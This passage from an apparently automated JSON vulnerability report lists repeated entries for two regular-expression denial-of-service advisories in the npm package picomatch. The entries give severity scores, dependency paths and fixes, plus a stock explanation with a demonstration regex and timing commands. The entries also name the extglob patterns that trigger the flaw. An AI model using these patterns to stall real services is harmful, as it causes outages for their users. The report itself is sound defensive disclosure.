PR](https://github.com/micromatch/picomatch/pull/194)\n- [Vulnerable Code](https://github.com/micromatch/picomatch/blob/4.0.7/lib/parse.js#L287-L307)\n", "epssDetails": null, "identifiers": { "CVE": [ "CVE-2026-112366" ], "CWE": [ "CWE-1333" ] }, "packageName": "picomatch", "proprietary": false, "creationTime": "2026-10-19T19:21:10.678786Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-10-19T18:13:14.289000Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-10-19T19:21:10.842984Z", "severityBasedOn": "CVSS", "modificationTime": "2026-10-20T01:32:18.991803Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmpack@9.1.3", "@npmcli/arborist@9.4.0", "pacote@21.4.0", "@npmcli/run-script@10.0.3", "node-gyp@12.2.0", "tinyglobby@0.2.15", "picomatch@4.0.3" ], "upgradePath": [], "isUpgradable": false, "isPatchable": false, "name": "picomatch", "version": "4.0.3" }, { "id": "SNYK-JS-PICOMATCH-15765511", "title": "Regular Expression Denial of Service (ReDoS)", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "credit": [ "Byambadalai Sumiya" ], "semver": { "vulnerable": [ "<2.3.2", ">=3.0.0 <3.0.2", ">=4.0.0 <4.0.4" ] }, "exploit": "Not Defined", "fixedIn": [ "2.3.2", "3.0.2", "4.0.4" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "picomatch", "references": [ { "url": "https://github.com/micromatch/picomatch/security/advisories/GHSA-c2c7-rcm5-vvqj", "title": "GitHub Advisory" }, { "url": "https://github.com/micromatch/picomatch/commit/5eceecd27543b8e056b9307d69e105ea03618a7d", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 6.5, "modificationTime": "2026-03-29T08:56:30.083116Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-09-24T14:14:02.835882Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-09-24T14:14:02.835882Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 6.5, "cvssVersion": "3.1", "modificationTime": "2026-03-29T08:56:30.083116Z" } ], "description": "## Overview\n\nAffected versions of this package are vulnerable to Regular Expression Denial of Service (ReDoS) when processing crafted extglob patterns. An attacker can cause excessive CPU consumption and block the event loop by supplying crafted extglob patterns that trigger catastrophic backtracking in regular expressions. \r\n\r\n## Workaround \r\n\r\nThis vulnerability can be mitigated by avoiding passing untrusted glob patterns, disabling extglob support for untrusted patterns using `noextglob: true`, rejecting or sanitizing patterns containing nested extglobs or extglob quantifiers, enforcing strict allowlists for accepted pattern syntax, running matching in an isolated worker or separate process with time and resource limits, or applying application-level request throttling and input validation for any endpoint that accepts glob patterns.\n\n## Details\n\nDenial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its original and legitimate users. There are many types of DoS attacks, ranging from trying to clog the network pipes to the system by generating a large volume of traffic from many machines (a Distributed Denial of Service - DDoS - attack) to sending crafted requests that cause a system to crash or take a disproportional amount of time to process.\n\nThe Regular expression Denial of Service (ReDoS) is a type of Denial of Service attack. Regular expressions are incredibly powerful, but they aren't very intuitive and can ultimately end up making it easy for attackers to take your site down.\n\nLet’s take the following regular expression as an example:\n```js\nregex = /A(B|C+)+D/\n```\n\nThis regular expression accomplishes the following:\n- `A` The string must start with the letter 'A'\n- `(B|C+)+` The string must then follow the letter A with either the letter 'B' or some number of occurrences of the letter 'C' (the `+` matches one or more times). The `+` at the end of this section states that we can look for one or more matches of this section.\n- `D` Finally, we ensure this section of the string ends with a 'D'\n\nThe expression would match inputs such as `ABBD`, `ABCCCCD`, `ABCBCCCD` and `ACCCCCD`\n\nIt most cases, it doesn't take very long for a regex engine to find a match:\n\n```bash\n$ time node -e '/A(B|C+)+D/.test(\"ACCCCCCCCCCCCCCCCCCCCCCCCCCCCD\")'\n0.04s user 0.01s system 95% cpu 0.052 total\n\n$ time node -e '/A(B|C+)+D/.test(\"ACCCCCCCCCCCCCCCCCCCCCCCCCCCCX\")'\n1.79s user 0.02s system 99% cpu 1.812 total\n```\n\nThe entire process of testing it against a 30 characters long string takes around ~52ms. But when given an invalid string, it takes nearly two seconds to complete the test, over ten times as long as it took to test a valid string. The dramatic difference is due to the way regular expressions get evaluated.\n\nMost Regex engines will work very similarly (with minor differences). The engine will match the first possible way to accept the current character and proceed to the next one. If it then fails to match the next one, it will backtrack and see if there was another way to digest the previous character. If it goes too far down the rabbit hole only to find out the string doesn’t match in the end, and if many characters have multiple valid regex paths, the number of backtracking steps can become very large, resulting in what is known as _catastrophic backtracking_.\n\nLet's look at how our expression runs into this problem, using a shorter string: \"ACCCX\". While it seems fairly straightforward, there are still four different ways that the engine could match those three C's:\n1. CCC\n2. CC+C\n3. C+CC\n4. C+C+C.\n\nThe engine has to try each of those combinations to see if any of them potentially match against the expression. When you combine that with the other steps the engine must take, we can use [RegEx 101 debugger](https://regex101.com/debugger) to see the engine has to take a total of 38 steps before it can determine the string doesn't match.\n\nFrom there, the number of steps the engine must use to validate a string just continues to grow.\n\n| String | Number of C's | Number of steps |\n| -------|-------------:| -----:|\n| ACCCX | 3 | 38\n| ACCCCX | 4 | 71\n| ACCCCCX | 5 | 136\n| ACCCCCCCCCCCCCCX | 14 | 65,553\n\n\nBy the time the string includes 14 C's, the engine has to take over 65,000 steps just to see if the string is valid. These extreme situations can cause them to work very slowly (exponentially related to input size, as shown above), allowing an attacker to exploit this and can cause the service to excessively consume CPU, resulting in a Denial of Service.\n\n## Remediation\nUpgrade `picomatch` to version 2.3.2, 3.0.2, 4.0.4 or higher.\n## References\n- [GitHub Advisory](https://github.com/micromatch/picomatch/security/advisories/GHSA-c2c7-rcm5-vvqj)\n- [GitHub Commit](https://github.com/micromatch/picomatch/commit/5eceecd27543b8e056b9307d69e105ea03618a7d)\n", "epssDetails": { "percentile": "0.39319", "probability": "0.00488", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-33671" ], "CWE": [ "CWE-1333" ], "GHSA": [ "GHSA-c2c7-rcm5-vvqj" ] }, "packageName": "picomatch", "proprietary": false, "creationTime": "2026-03-26T08:38:58.711997Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-03-25T21:12:07Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-03-26T08:38:58.926320Z", "severityBasedOn": "CVSS", "modificationTime": "2026-09-24T14:14:02.835882Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmdiff@8.1.3", "@npmcli/arborist@9.4.0", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.4.0", "@npmcli/run-script@10.0.3", "node-gyp@12.2.0", "tinyglobby@0.2.15", "picomatch@4.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmdiff@8.1.14", "@npmcli/arborist@9.9.3", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.5.1", "@npmcli/run-script@10.0.4", "node-gyp@12.4.0", "tinyglobby@0.2.17", "picomatch@4.0.7" ], "isUpgradable": true, "isPatchable": false, "name": "picomatch", "version": "4.0.3" }, { "id": "SNYK-JS-PICOMATCH-21248802", "title": "Regular Expression Denial of Service (ReDoS)", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "credit": [ "maximilliangrand", "Zachariah Mithani" ], "semver": { "vulnerable": [ "*" ] }, "exploit": "Not Defined", "fixedIn": [], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "picomatch", "references": [ { "url": "https://github.com/micromatch/picomatch/pull/194", "title": "GitHub PR" }, { "url": "https://github.com/micromatch/picomatch/blob/4.0.7/lib/parse.js%23L287-L307", "title": "Vulnerable Code" } ], "cvssDetails": [ { "assigner": "NVD", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-10-20T01:32:18.626388Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-10-20T01:32:18.991803Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-10-20T01:32:18.991803Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "NVD", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-10-20T01:32:18.626388Z" } ], "description": "## Overview\n\nAffected versions of this package are vulnerable to Regular Expression Denial of Service (ReDoS) via `analyzeRepeatedExtglob` in `lib/parse.js`, which skips single-branch repeated extglob patterns such as `+(*) ` or `+(*a)`. An attacker can supply these glob patterns to trigger exponential backtracking in the underlying regular expression engine against short inputs, blocking the Node.js event loop and crashing the application.\n\n## Details\n\nDenial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its original and legitimate users. There are many types of DoS attacks, ranging from trying to clog the network pipes to the system by generating a large volume of traffic from many machines (a Distributed Denial of Service - DDoS - attack) to sending crafted requests that cause a system to crash or take a disproportional amount of time to process.\n\nThe Regular expression Denial of Service (ReDoS) is a type of Denial of Service attack. Regular expressions are incredibly powerful, but they aren't very intuitive and can ultimately end up making it easy for attackers to take your site down.\n\nLet’s take the following regular expression as an example:\n```js\nregex = /A(B|C+)+D/\n```\n\nThis regular expression accomplishes the following:\n- `A` The string must start with the letter 'A'\n- `(B|C+)+` The string must then follow the letter A with either the letter 'B' or some number of occurrences of the letter 'C' (the `+` matches one or more times). The `+` at the end of this section states that we can look for one or more matches of this section.\n- `D` Finally, we ensure this section of the string ends with a 'D'\n\nThe expression would match inputs such as `ABBD`, `ABCCCCD`, `ABCBCCCD` and `ACCCCCD`\n\nIt most cases, it doesn't take very long for a regex engine to find a match:\n\n```bash\n$ time node -e '/A(B|C+)+D/.test(\"ACCCCCCCCCCCCCCCCCCCCCCCCCCCCD\")'\n0.04s user 0.01s system 95% cpu 0.052 total\n\n$ time node -e '/A(B|C+)+D/.test(\"ACCCCCCCCCCCCCCCCCCCCCCCCCCCCX\")'\n1.79s user 0.02s system 99% cpu 1.812 total\n```\n\nThe entire process of testing it against a 30 characters long string takes around ~52ms. But when given an invalid string, it takes nearly two seconds to complete the test, over ten times as long as it took to test a valid string. The dramatic difference is due to the way regular expressions get evaluated.\n\nMost Regex engines will work very similarly (with minor differences). The engine will match the first possible way to accept the current character and proceed to the next one. If it then fails to match the next one, it will backtrack and see if there was another way to digest the previous character. If it goes too far down the rabbit hole only to find out the string doesn’t match in the end, and if many characters have multiple valid regex paths, the number of backtracking steps can become very large, resulting in what is known as _catastrophic backtracking_.\n\nLet's look at how our expression runs into this problem, using a shorter string: \"ACCCX\". While it seems fairly straightforward, there are still four different ways that the engine could match those three C's:\n1. CCC\n2. CC+C\n3. C+CC\n4. C+C+C.\n\nThe engine has to try each of those combinations to see if any of them potentially match against the expression. When you combine that with the other steps the engine must take, we can use [RegEx 101 debugger](https://regex101.com/debugger) to see the engine has to take a total of 38 steps before it can determine the string doesn't match.\n\nFrom there, the number of steps the engine must use to validate a string just continues to grow.\n\n| String | Number of C's | Number of steps |\n| -------|-------------:| -----:|\n| ACCCX | 3 | 38\n| ACCCCX | 4 | 71\n| ACCCCCX | 5 | 136\n| ACCCCCCCCCCCCCCX | 14 | 65,553\n\n\nBy the time the string includes 14 C's, the engine has to take over 65,000 steps just to see if the string is valid. These extreme situations can cause them to work very slowly (exponentially related to input size, as shown above), allowing an attacker to exploit this and can cause the service to excessively consume CPU, resulting in a Denial of Service.\n\n## Remediation\nThere is no fixed version for `picomatch`.\n## References\n- [GitHub PR](https://github.com/micromatch/picomatch/pull/194)\n- [Vulnerable Code](https://github.com/micromatch/picomatch/blob/4.0.7/lib/parse.js#L287-L307)\n", "epssDetails": null, "identifiers": { "CVE": [ "CVE-2026-112366" ], "CWE": [ "CWE-1333" ] }, "packageName": "picomatch", "proprietary": false, "creationTime": "2026-10-19T19:21:10.678786Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-10-19T18:13:14.289000Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-10-19T19:21:10.842984Z", "severityBasedOn": "CVSS", "modificationTime": "2026-10-20T01:32:18.991803Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmdiff@8.1.3", "@npmcli/arborist@9.4.0", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.4.0", "@npmcli/run-script@10.0.3", "node-gyp@12.2.0", "tinyglobby@0.2.15", "picomatch@4.0.3" ], "upgradePath": [], "isUpgradable": false, "isPatchable": false, "name": "picomatch", "version": "4.0.3" }, { "id": "SNYK-JS-PICOMATCH-15765511", "title": "Regular Expression Denial of Service (ReDoS)", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "credit": [ "Byambadalai Sumiya" ], "semver": { "vulnerable": [ "<2.3.2", ">=3.0.0 <3.0.2", ">=4.0.0 <4.0.4" ] }, "exploit": "Not Defined", "fixedIn": [ "2.3.2", "3.0.2", "4.0.4" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "picomatch", "references": [ { "url": "https://github.com/micromatch/picomatch/security/advisories/GHSA-c2c7-rcm5-vvqj", "title": "GitHub Advisory" }, { "url": "https://github.com/micromatch/picomatch/commit/5eceecd27543b8e056b9307d69e105ea03618a7d", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 6.5, "modificationTime": "2026-03-29T08:56:30.083116Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-09-24T14:14:02.835882Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-09-24T14:14:02.835882Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 6.5, "cvssVersion": "3.1", "modificationTime": "2026-03-29T08:56:30.083116Z" } ], "description": "## Overview\n\nAffected versions of this package are vulnerable to Regular Expression Denial of Service (ReDoS) when processing crafted extglob patterns. An attacker can cause excessive CPU consumption and block the event loop by supplying crafted extglob patterns that trigger catastrophic backtracking in regular expressions. \r\n\r\n## Workaround \r\n\r\nThis vulnerability can be mitigated by avoiding passing untrusted glob patterns, disabling extglob support for untrusted patterns using `noextglob: true`, rejecting or sanitizing patterns containing nested extglobs or extglob quantifiers, enforcing strict allowlists for accepted pattern syntax, running matching in an isolated worker or separate process with time and resource limits, or applying application-level request throttling and input validation for any endpoint that accepts glob patterns.\n\n## Details\n\nDenial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its original and legitimate users. There are many types of DoS attacks, ranging from trying to clog the network pipes to the system by generating a large volume of traffic from many machines (a Distributed Denial of Service - DDoS - attack) to sending crafted requests that cause a system to crash or take a disproportional amount of time to process.\n\nThe Regular expression Denial of Service (ReDoS) is a type of Denial of Service attack. Regular expressions are incredibly powerful, but they aren't very intuitive and can ultimately end up making it easy for attackers to take your site down.\n\nLet’s take the following regular expression as an example:\n```js\nregex = /A(B|C+)+D/\n```\n\nThis regular expression accomplishes the following:\n- `A` The string must start with the letter 'A'\n- `(B|C+)+` The string must then follow the letter A with either the letter 'B' or some number of occurrences of the letter 'C' (the `+` matches one or more times). The `+` at the end of this section states that we can look for one or more matches of this section.\n- `D` Finally, we ensure this section of the string ends with a 'D'\n\nThe expression would match inputs such as `ABBD`, `ABCCCCD`, `ABCBCCCD` and `ACCCCCD`\n\nIt most cases, it doesn't take very long for a regex engine to find a match:\n\n```bash\n$ time node -e '/A(B|C+)+D/.test(\"ACCCCCCCCCCCCCCCCCCCCCCCCCCCCD\")'\n0.04s user 0.01s system 95% cpu 0.052 total\n\n$ time node -e '/A(B|C+)+D/.test(\"ACCCCCCCCCCCCCCCCCCCCCCCCCCCCX\")'\n1.79s user 0.02s system 99% cpu 1.812 total\n```\n\nThe entire process of testing it against a 30 characters long string takes around ~52ms. But when given an invalid string, it takes nearly two seconds to complete the test, over ten times as long as it took to test a valid string. The dramatic difference is due to the way regular expressions get evaluated.\n\nMost Regex engines will work very similarly (with minor differences). The engine will match the first possible way to accept the current character and proceed to the next one. If it then fails to match the next one, it will backtrack and see if there was another way to digest the previous character. If it goes too far down the rabbit hole only to find out the string doesn’t match in the end, and if many characters have multiple valid regex paths, the number of backtracking steps can become very large, resulting in what is known as _catastrophic backtracking_.\n\nLet's look at how our expression runs into this problem, using a shorter string: \"ACCCX\". While it seems fairly straightforward, there are still four different ways that the engine could match those three C's:\n1. CCC\n2. CC+C\n3. C+CC\n4. C+C+C.\n\nThe engine has to try each of those combinations to see if any of them potentially match against the expression. When you combine that with the other steps the engine must take, we can use [RegEx 101 debugger](https://regex101.com/debugger) to see the engine has to take a total of 38 steps before it can determine the string doesn't match.\n\nFrom there, the number of steps the engine must use to validate a string just continues to grow.\n\n| String | Number of C's | Number of steps |\n| -------|-------------:| -----:|\n| ACCCX | 3 | 38\n| ACCCCX | 4 | 71\n| ACCCCCX | 5 | 136\n| ACCCCCCCCCCCCCCX | 14 | 65,553\n\n\nBy the time the string includes 14 C's, the engine has to take over 65,000 steps just to see if the string is valid. These extreme situations can cause them to work very slowly (exponentially related to input size, as shown above), allowing an attacker to exploit this and can cause the service to excessively consume CPU, resulting in a Denial of Service.\n\n## Remediation\nUpgrade `picomatch` to version 2.3.2, 3.0.2, 4.0.4 or higher.\n## References\n- [GitHub Advisory](https://github.com/micromatch/picomatch/security/advisories/GHSA-c2c7-rcm5-vvqj)\n- [GitHub Commit](https://github.com/micromatch/picomatch/commit/5eceecd27543b8e056b9307d69e105ea03618a7d)\n", "epssDetails": { "percentile": "0.39319", "probability": "0.00488", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-33671" ], "CWE": [ "CWE-1333" ], "GHSA": [ "GHSA-c2c7-rcm5-vvqj" ] }, "packageName": "picomatch", "proprietary": false, "creationTime": "2026-03-26T08:38:58.711997Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-03-25T21:12:07Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-03-26T08:38:58.926320Z", "severityBasedOn": "CVSS", "modificationTime": "2026-09-24T14:14:02.835882Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmexec@10.2.3", "@npmcli/arborist@9.4.0", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.4.0", "@npmcli/run-script@10.0.3", "node-gyp@12.2.0", "tinyglobby@0.2.15", "picomatch@4.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmexec@10.3.4", "@npmcli/arborist@9.9.3", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.5.1", "@npmcli/run-script@10.0.4", "node-gyp@12.4.0", "tinyglobby@0.2.17", "picomatch@4.0.7" ], "isUpgradable": true, "isPatchable": false, "name": "picomatch", "version": "4.0.3" }, { "id": "SNYK-JS-PICOMATCH-21248802", "title": "Regular Expression Denial of Service (ReDoS)", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "credit": [ "maximilliangrand", "Zachariah Mithani" ], "semver": { "vulnerable": [ "*" ] }, "exploit": "Not Defined", "fixedIn": [], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "picomatch", "references": [ { "url": "https://github.com/micromatch/picomatch/pull/194", "title": "GitHub PR" }, { "url": "https://github.com/micromatch/picomatch/blob/4.0.7/lib/parse.js%23L287-L307", "title": "Vulnerable Code" } ], "cvssDetails": [ { "assigner": "NVD", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-10-20T01:32:18.626388Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-10-20T01:32:18.991803Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-10-20T01:32:18.991803Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "NVD", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-10-20T01:32:18.626388Z" } ], "description": "## Overview\n\nAffected versions of this package are vulnerable to Regular Expression Denial of Service (ReDoS) via `analyzeRepeatedExtglob` in `lib/parse.js`, which skips single-branch repeated extglob patterns such as `+(*) ` or `+(*a)`. An attacker can supply these glob patterns to trigger exponential backtracking in the underlying regular expression engine against short inputs, blocking the Node.js event loop and crashing the application.\n\n## Details\n\nDenial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its original and legitimate users. There are many types of DoS attacks, ranging from trying to clog the network pipes to the system by generating a large volume of traffic from many machines (a Distributed Denial of Service - DDoS - attack) to sending crafted requests that cause a system to crash or take a disproportional amount of time to process.\n\nThe Regular expression Denial of Service (ReDoS) is a type of Denial of Service attack. Regular expressions are incredibly powerful, but they aren't very intuitive and can ultimately end up making it easy for attackers to take your site down.\n\nLet’s take the following regular expression as an example:\n```js\nregex = /A(B|C+)+D/\n```\n\nThis regular expression accomplishes the following:\n- `A` The string must start with the letter 'A'\n- `(B|C+)+` The string must then follow the letter A with either the letter 'B' or some number of occurrences of the letter 'C' (the `+` matches one or more times). The `+` at the end of this section states that we can look for one or more matches of this section.\n- `D` Finally, we ensure this section of the string ends with a 'D'\n\nThe expression would match inputs such as `ABBD`, `ABCCCCD`, `ABCBCCCD` and `ACCCCCD`\n\nIt most cases, it doesn't take very long for a regex engine to find a match:\n\n```bash\n$ time node -e '/A(B|C+)+D/.test(\"ACCCCCCCCCCCCCCCCCCCCCCCCCCCCD\")'\n0.04s user 0.01s system 95% cpu 0.052 total\n\n$ time node -e '/A(B|C+)+D/.test(\"ACCCCCCCCCCCCCCCCCCCCCCCCCCCCX\")'\n1.79s user 0.02s system 99% cpu 1.812 total\n```\n\nThe entire process of testing it against a 30 characters long string takes around ~52ms. But when given an invalid string, it takes nearly two seconds to complete the test, over ten times as long as it took to test a valid string. The dramatic difference is due to the way regular expressions get evaluated.\n\nMost Regex engines will work very similarly (with minor differences). The engine will match the first possible way to accept the current character and proceed to the next one. If it then fails to match the next one, it will backtrack and see if there was another way to digest the previous character. If it goes too far down the rabbit hole only to find out the string doesn’t match in the end, and if many characters have multiple valid regex paths, the number of backtracking steps can become very large, resulting in what is known as _catastrophic backtracking_.\n\nLet's look at how our expression runs into this problem, using a shorter string: \"ACCCX\". While it seems fairly straightforward, there are still four different ways that the engine could match those three C's:\n1. CCC\n2. CC+C\n3. C+CC\n4. C+C+C.\n\nThe engine has to try each of those combinations to see if any of them potentially match against the expression. When you combine that with the other steps the engine must take, we can use [RegEx 101 debugger](https://regex101.com/debugger) to see the engine has to take a total of 38 steps before it can determine the string doesn't match.\n\nFrom there, the number of steps the engine must use to validate a string just continues to grow.\n\n| String | Number of C's | Number of steps |\n| -------|-------------:| -----:|\n| ACCCX | 3 | 38\n| ACCCCX | 4 | 71\n| ACCCCCX | 5 | 136\n| ACCCCCCCCCCCCCCX | 14 | 65,553\n\n\nBy the time the string includes 14 C's, the engine has to take over 65,000 steps just to see if the string is valid. These extreme situations can cause them to work very slowly (exponentially related to input size, as shown above), allowing an attacker to exploit this and can cause the service to excessively consume CPU, resulting in a Denial of Service.\n\n## Remediation\nThere is no fixed version for `picomatch`.\n## References\n- [GitHub PR](https://github.com/micromatch/picomatch/pull/194)\n- [Vulnerable Code](https://github.com/micromatch/picomatch/blob/4.0.7/lib/parse.js#L287-L307)\n", "epssDetails": null, "identifiers": { "CVE": [ "CVE-2026-112366" ], "CWE": [ "CWE-1333" ] }, "packageName": "picomatch", "proprietary": false, "creationTime": "2026-10-19T19:21:10.678786Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-10-19T18:13:14.289000Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-10-19T19:21:10.842984Z", "severityBasedOn": "CVSS", "modificationTime": "2026-10-20T01:32:18.991803Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmexec@10.2.3", "@npmcli/arborist@9.4.0", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.4.0", "@npmcli/run-script@10.0.3", "node-gyp@12.2.0", "tinyglobby@0.2.15", "picomatch@4.0.3" ], "upgradePath": [], "isUpgradable": false, "isPatchable": false, "name": "picomatch", "version": "4.0.3" }, { "id": "SNYK-JS-PICOMATCH-15765511", "title": "Regular Expression Denial of Service (ReDoS)", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "credit": [ "Byambadalai Sumiya" ], "semver": { "vulnerable": [ "<2.3.2", ">=3.0.0 <3.0.2", ">=4.0.0 <4.0.4" ] }, "exploit": "Not Defined", "fixedIn": [ "2.3.2", "3.0.2", "4.0.4" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "picomatch", "references": [ { "url": "https://github.com/micromatch/picomatch/security/advisories/GHSA-c2c7-rcm5-vvqj", "title": "GitHub Advisory" }, { "url": "https://github.com/micromatch/picomatch/commit/5eceecd27543b8e056b9307d69e105ea03618a7d", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 6.5, "modificationTime": "2026-03-29T08:56:30.083116Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-09-24T14:14:02.835882Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-09-24T14:14:02.835882Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 6.5, "cvssVersion": "3.1", "modificationTime": "2026-03-29T08:56:30.083116Z" } ], "description": "## Overview\n\nAffected versions of this package are vulnerable to Regular Expression Denial of Service (ReDoS) when processing 